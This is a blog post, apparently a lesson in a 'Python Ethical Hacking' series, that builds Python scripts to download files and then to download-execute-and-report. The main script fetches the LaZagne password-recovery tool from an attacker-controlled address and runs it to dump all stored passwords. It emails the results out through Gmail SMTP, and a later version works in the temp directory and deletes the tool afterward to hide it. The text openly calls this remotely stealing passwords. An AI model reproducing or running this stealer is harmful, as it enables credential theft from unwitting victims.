• Python Ethical Hacking


    DOWNLOAD_FILE

    • Download files on a system.
    • Once packaged properly will work on all operating systems.
    • Simple but powerfull.

    Can be used in many situations:

    • download _file + execute_command = download_and_execute
    • download_file + execute_and_report = download_execute_and_report
    • ...etc
    #!/usr/bin/env python
    import requests
    
    
    def download(url):
        get_response = requests.get(url)
        file_name = url.split("/")[-1]
        with open(file_name, "wb") as out_file:
            out_file.write(get_response.content)
    
    
    download("https://cdn.spacetelescope.org/archives/images/screen/potw1739a.jpg")

     DOWNLOAD_EXECUTE_AND_REPORT

    • Download files on a system.
    • Execute a command that uses this file.
    • Report results in our email.
    • Cross multi-Platform!!

    Ex: remotely steal all stored passwords on a computer!

    Using the LaZagne tool:https://github.com/AlessandroZ/LaZagne

    lazagne.exe --help

     Use the following command to find all the passwords in the current system.

     lazagne.exe all

     Steal saved passwords remotely

    #!/usr/bin/env python
    import requests
    import smtplib
    import subprocess
    
    
    def download(url):
        get_response = requests.get(url)
        file_name = url.split("/")[-1]
        with open(file_name, "wb") as out_file:
            out_file.write(get_response.content)
    
    
    def send_mail(email, password, message):
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.starttls()
        server.login(email, password)
        server.sendmail(email, email, message)
        server.quit()
    
    
    download("http://10.0.0.43/evil-files/lazagne.exe")
    result = subprocess.check_output("lazagne.exe all", shell=True)
    print(result.decode())
    send_mail("aaaa@gmail.com", "1111111", result)

    Optimize the Python Script - Interacting with the file system. The evil file will be downloaded in the temp directory and removed after executed. 

    #!/usr/bin/env python
    import os
    import smtplib
    import subprocess
    import requests
    import tempfile
    
    
    def download(url):
        get_response = requests.get(url)
        file_name = url.split("/")[-1]
        with open(file_name, "wb") as out_file:
            out_file.write(get_response.content)
    
    
    def send_mail(email, password, message):
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.starttls()
        server.login(email, password)
        server.sendmail(email, email, message)
        server.quit()
    
    
    temp_directory = tempfile.gettempdir()
    os.chdir(temp_directory)
    download("http://10.0.0.43/evil-files/lazagne.exe")
    result = subprocess.check_output("lazagne.exe all", shell=True)
    print(result.decode())
    send_mail("aaaa@gmail.com", "1111111", result)
    os.remove("lazagne.exe")
    相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
  • 相关阅读:
    Python+Selenium简单安装配置
    sublime3和python3的开发环境配置
    python学习笔记——第五篇
    python学习笔记——第二篇
    NOIP2007 树网的核
    NOIP2007 矩阵取数游戏
    NOIP2007 字符串的展开
    NOIP2007 统计数字
    leo101
    Luogu P4064 [JXOI2017]加法
  • 原文地址:https://www.cnblogs.com/keepmoving1113/p/11616187.html
Copyright © 2020-2023  润新知